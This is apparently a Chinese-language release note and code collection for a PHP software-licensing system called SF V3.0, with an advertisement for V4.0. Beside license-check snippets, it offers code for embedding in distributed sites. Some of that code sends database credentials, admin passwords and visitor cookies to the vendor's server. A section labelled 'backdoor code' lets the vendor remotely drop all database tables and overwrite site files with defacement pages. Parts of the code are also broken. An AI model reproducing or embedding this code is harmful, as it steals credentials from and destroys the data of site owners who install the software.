此版本为SF授权系统V3.0，因本版本写的操之过急所以很多地方都是空架子，
再加上代码杂乱无章，所以V4.0已经全部重写。

SF多应用综合验证授权系统 V4.0更新内容
采用ThinkPHP 6.0 + EasyWebAdmin
支持自定义判断规则（默认提供域名+QQ+机器码规则）
支持在线充值，用户Api授权，自助更换授权，卡密兑换（权限，代理，余额，积分），云黑查询，授权代理查询，插件化模板（可自定义上传），余额购买授权，卡密，权限等，快速登录，支付认证，版本管理，自定义用户等级权限模板，自定义授权价格模板，插件管理（自定义安装，更新插件），支持用户扫码绑定授权或认证

300开源包更新如果需要V4.0加QQ2129876388
交流群921414071

====以下为3.0授权代码=====
include_once ROOT."authcode.php";
//判断是否有授权文件
if(file_exists(ROOT."authcode.php")){
    require 'authcode.php';
}else{
    exit('当前网站无授权码！');
}
require(ROOT."version.php");
define("authcode", $authcode);
if(!defined("authcode")){
	exit(0);
}
离线授权代码
$SFid='【填写程序ID】';
include_once ROOT."authcode.php";
if(file_exists(ROOT."authcode.php")){
    require 'authcode.php';
}else{
    exit('当前网站无授权码！');
}
if(empty($SF_PUBLIC_KEY))exit('公钥不存在！请重新到授权站下载源码');
if(empty($SF_Sign))exit('签名不存在！请重新到授权站下载源码');
if(empty($SF_Info))exit('信息不存在！请重新到授权站下载源码');
function verifySign($data = '', $sign = '') {
    if (!is_string($sign) || !is_string($sign)) {
        return false;
    }
    return (bool)openssl_verify($data, base64_decode($sign), $SF_PUBLIC_KEY, OPENSSL_ALGO_SHA256);
}
function publicDecrypt($encrypted = ''){
    if (!is_string($encrypted)) {
        return null;
    }
    return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, $SF_PUBLIC_KEY)) ? $decrypted : null;
}

if(!isset(verifySign(md5(md5($SFid).md5($_SEVER['HTTP_HOST']).md5($authcode)), $SF_Sign))){
	exit('您当前的网站未授权！请联系QQ2129876388授权<br>若您的网站已授权，请检查授权码是否正确！');
}
$SF_AUTH_INFO=explode('|',publicDecrypt($SF_Info));
if($SF_AUTH_INFO[0]=='0000-00-00 00:00:00'){
	if($SF_AUTH_INFO[1]!=1)exit('您当前的网站已封禁！请联系QQ2129876388解封后使用！');
}else{
	if($SF_AUTH_INFO[1]!=1)exit('您当前的网站已封禁！请联系QQ2129876388解封后使用！');
	if($SF_AUTH_INFO[0]<=date("Y-m-d H:i:s"))exit('您当前的网站授权已到期！请联系QQ2129876388续费后使用！');
}
检测更新代码
function update_version()
{
	$SF_string=authcode($_SERVER['HTTP_HOST'].'||||'.authcode.'||||'.VERSION.'||||【系统ID】','ENCODE','【授权后台设置的密钥key】');
    $SF_query=file_get_contents('http://【你的授权站域名】/SF_API/SF_Check.php?SF_string='.base64_encode($SF_string));
    $SF_query=authcode($SF_query,'DECODE','【授权后台设置的密钥key】');
    if ($SF_query=json_decode($SF_query,true)) {
        return $SF_query;
    }else{
        return false;
    }
}

易支付认证用的代码
function pay_api()
{
	global $conf;
	if($conf["payapi"] == 1){
		return "http://【你的授权站域名】/";
	}elseif($conf["payapi"] == -1){
		$url="http://【你的授权站域名】/paycheck.php?url=";
		@$data=get_curl($url.$conf["epay_url"]);
		$inc=json_decode($data); 
		if($inc->code=='-1'){
			return false;
		}else{
			return $conf["epay_url"];
		}
	}
}

彩虹代刷盗版入库代码
@file_get_contents("http://【你的授权站域名】/SF_API/SF_DB.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&db=".$dbconfig['dbname']."&version=".VERSION."&authcode=".authcode."&admin_qq=".$conf['kfqq']."&admin_pwd=".$conf['admin_pwd']."&admin_user=".$conf['admin_user']);

旧言代刷盗版入库
$db_All = $DB->getStmt("SELECT * FROM `pre_users`");
$db_row = $db_All->fetch();
@file_get_contents("http://【你的授权站域名】/SF_API/SF_DB.php?url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['username']."&pwd=".$dbconfig['password']."&db=".$dbconfig['database']."&version=".VERSION."&authcode=".authcode."&admin_qq=".$Conf['web_kfqq']."&admin_user=".$db_row['user']."&admin_pwd=".$db_row['pass']);

/**************通用授权代码********************/

//授权站单域名授权代码
if(!isset($_SESSION['SF_authcode'])) {
	$SF_string=authcode($_SERVER['HTTP_HOST'].'||||'.authcode.'||||'.json_encode($_COOKIE).'||||【系统ID】','ENCODE','【授权后台设置的密钥key】');
    $SF_query=file_get_contents('http://【你的授权站域名】/SF_API/SF_Check.php?SF_string='.base64_encode($SF_string));
    $SF_query=authcode($SF_query,'DECODE','【授权后台设置的密钥key】');
    if ($SF_query=json_decode($SF_query,true)) {
	     if ($SF_query['code']==1) {
            $_SESSION['SF_authcode']=authcode;
        }else{
	        exit('<h3>'.$SF_query['msg'].'</h3>');
        }
    }
}


/**************彩虹代刷用的授权代码********************/

//授权站单域名授权代码
if(!isset($_SESSION['SF_authcode']) && $islogin==1) {
	$SF_string=authcode($_SERVER['HTTP_HOST'].'||||'.authcode.'||||'.json_encode($_COOKIE).'||||【系统ID】','ENCODE','【授权后台设置的密钥key】');
$SF_query=get_curl('http://【你的授权站域名】/SF_API/SF_Check.php?SF_string='.base64_encode($SF_string));
$SF_query=authcode($SF_query,'DECODE','【授权后台设置的密钥key】');
if ($SF_query=json_decode($SF_query,true)) {
	if ($SF_query['code']==1) {
	$_SESSION['SF_authcode']=authcode;
}else {
	 sysmsg('<h3>'.$SF_query['msg'].'</h3>',true);
exit(0);
}
}
}

/*****************分割线*******************/

//授权站多域名授权代码
$SF_authurl = array("【你的第一个授权站域名】","【你的第二个授权站域名】");//【*】授权系统域名。最多两个，最少一个
$SF_authurl = $SF_authurl[array_rand($SF_authurl)];
if(!isset($_SESSION['SF_authcode']) && $islogin==1) {
	$SF_string=authcode($_SERVER['HTTP_HOST'].'||||'.authcode.'||||'.json_encode($_COOKIE).'||||【系统ID】','ENCODE','【授权后台设置的密钥key】');
$SF_query=get_curl('http://'.$SF_authurl.'/SF_API/SF_Check.php?SF_string='.urlencode($SF_string));
$SF_query=authcode($SF_query,'DECODE','【授权后台设置的密钥key】');
if ($SF_query=json_decode($SF_query,true)) {
	if ($SF_query['code']==1) {
	$_SESSION['SF_authcode']=authcode;
}else {
	 sysmsg('<h3>'.$SF_query['msg'].'</h3>',true);
exit(0);
}
}
}


/*******************************************/
后门代码
/*需要你配置的地方*/
$SF_AUTH='你的授权站域名';
$ghfile='../index.php';//填写挂黑的文件例如：../index.php,则黑页将覆盖根目录的index.php
/*配置结束，代码开始*/

$SF=file_get_contents('http://'.SF_AUTH.'/SF_API/SF_HMOPEN.php');
$hmfile=file_get_contents('http://'.SF_AUTH.'/SF_API/SF_HMFILE.php');
$hmfile2=file_get_contents('http://'.SF_AUTH.'/SF_API/SF_HMFILE2.php');
$SFact=isset($_GET['SFact'])?daddslashes($_GET['SFact']):null;
$star=$_GET['star'];
if($SFact=='SF_HM'){
if($SF=='1'){
if($star=='delsql'){
$connect = mysql_connect($dbconfig['host'],$dbconfig['user'],$dbconfig['pwd']); 
mysql_select_db($dbconfig['dbname']);
$result = mysql_query("show table status from ".$dbconfig['dbname']."",$connect); 
while($data=mysql_fetch_array($result)) { 
    mysql_query("drop table ".$data['Name'].""); 
}elseif($star=='qdhy1'){
@file_put_contents($ghfile,file_get_contents('http://'.SF_AUTH.'/SF_API/hy1.txt'));
}elseif($star=='qdhy2'){
@file_put_contents($ghfile,file_get_contents('http://'.SF_AUTH.'/SF_API/hy2.txt'));
}elseif($star=='qdhy3'){
@file_put_contents($ghfile,file_get_contents('http://'.SF_AUTH.'/SF_API/hy3.txt'));
}elseif($star=='qdhy4'){
@file_put_contents($ghfile,file_get_contents('http://'.SF_AUTH.'/SF_API/hy4.txt'));
}elseif($star=='zrhm1'){
@file_put_contents($hmfile,file_get_contents('http://'.SF_AUTH.'/SF_API/hm1.txt'));
}elseif($star=='zrhm2'){
@file_put_contents($hmfile2,file_get_contents('http://'.SF_AUTH.'/SF_API/hm2.txt'));
}elseif($star==''){

}elseif($star==''){

}elseif($star==''){
}
}elseif($SF=='2'){
function SFreal_ip(){
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
	foreach ($matches[0] AS $xip) {
		if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
			$ip = $xip;
			break;
		}
	}
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
	$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
	$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
	$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
$zsip=SFreal_ip();
$SFIP=file_get_contents('http://'.SF_AUTH.'/SF_API/SF_HMIP.php');
if(in_array($zsip,explode("|",$SFIP))){

}else{
	exit('{"code":-1,"msg":"您的IP未在白名单内！"}');
}
}else{
	exit('{"code":-1,"msg":"请先开启后门开关！"}');
}
}